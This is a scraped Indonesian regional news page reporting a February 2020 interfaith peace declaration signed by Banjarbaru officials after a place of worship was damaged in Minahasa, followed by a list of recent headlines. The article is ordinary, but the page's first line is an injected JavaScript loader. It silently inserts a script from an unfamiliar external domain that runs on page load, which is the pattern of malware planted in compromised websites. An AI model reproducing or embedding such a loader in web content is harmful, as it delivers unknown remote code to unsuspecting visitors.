(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Deklarasi Damai Banjarbaru, Masyarakat Jangan Terprovokasi Kasus Pengerusakan Tempat Ibadah di Minahasa


KANALKALIMANTAN.COM, BANJARBARU – Pasca kasus pengerusakan tempat ibadah umat Islam yang terjadi di Kabupaten Minahasa Utara, Sulawesi Utara pada 29 Januari 2020 lalu, langsung mendapatkan perhatian serius dari Pemerintah Kota Banjarbaru.

Dengan inisiasi dari Polres Kota Banjarbaru, Kapolres Banjarbaru AKBP Doni Hadi Santoso dan Walikota Banjarbaru  H Nadjmi Adhani bersama Forkopimda dan Forum Komunikasi Umat Beragama (FKUB) Kota Banjarbaru melakukan deklarasi dan penandatanganan pernyataan komitmen bersama menjaga Kota Banjarbaru tetap damai, rukun dan kondusif.

Menurut H Nadmi  Adhani, deklarasi bersama ini didasari oleh kesadaran bahwa masyarakat Banjarbaru sangat heterogen, terdiri dari berbagai suku dan agama yang berbeda.

“Jangan sampai apa yang terjadi di Minahasa menyebar ke Banjarbaru,” ucap Wali Kota H Nadmi Adhani.

Tidak hanya itu, Nadjmi juga meminta kepada tokoh masyarakat yang hadir agar setelah deklarasi ini melakukan sosialisasi dan pencerahan kepada masyararkat untuk turun menjaga kedamaian dan kerukunan di Banjarbaru.

Deklarasi pernyataan ini dibacakan Walikota Banjarbaru diikuti oleh Forkopimda dan Tokoh Agama dihadapan peserta apel pagi di kantor Polres Banjarbaru, Senin (3/2/2020) pagi.

Dalam surat pernyataan dibacakan secara bersama-sama ini, menyatakan penolakan dan rasa sedih yang sedalam-dalamnya atas kejadian pengrusakan tempat ibadah umat Islam di Minahasa. Menyesalkan karena tidak mengedepankan dialog dan musyawarah. Meminta kepada aparat penegak hukum untuk segera menangani secara adil, cepat dan proporsional. Sehingga tidak menimbulkan keresahan di masyarakat, serta mengimbau kepada masyarakat Kota Banjarbaru agar tidak mudah termakan provokasi yang dapat merusak kedamaian, ketentraman serta hubungan antar umat beragama yang sudah sangat harmonis di Kota Banjarbaru.

Setelah pembacaan pernyataan, Walikota Banjarbaru bersama Forkopimda dan anggota FKUB secara bergantian menandatangani isi dekralasi tersebut. (kanalkalimantan.com/rico/adv)

 

 

Editor : Bie

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.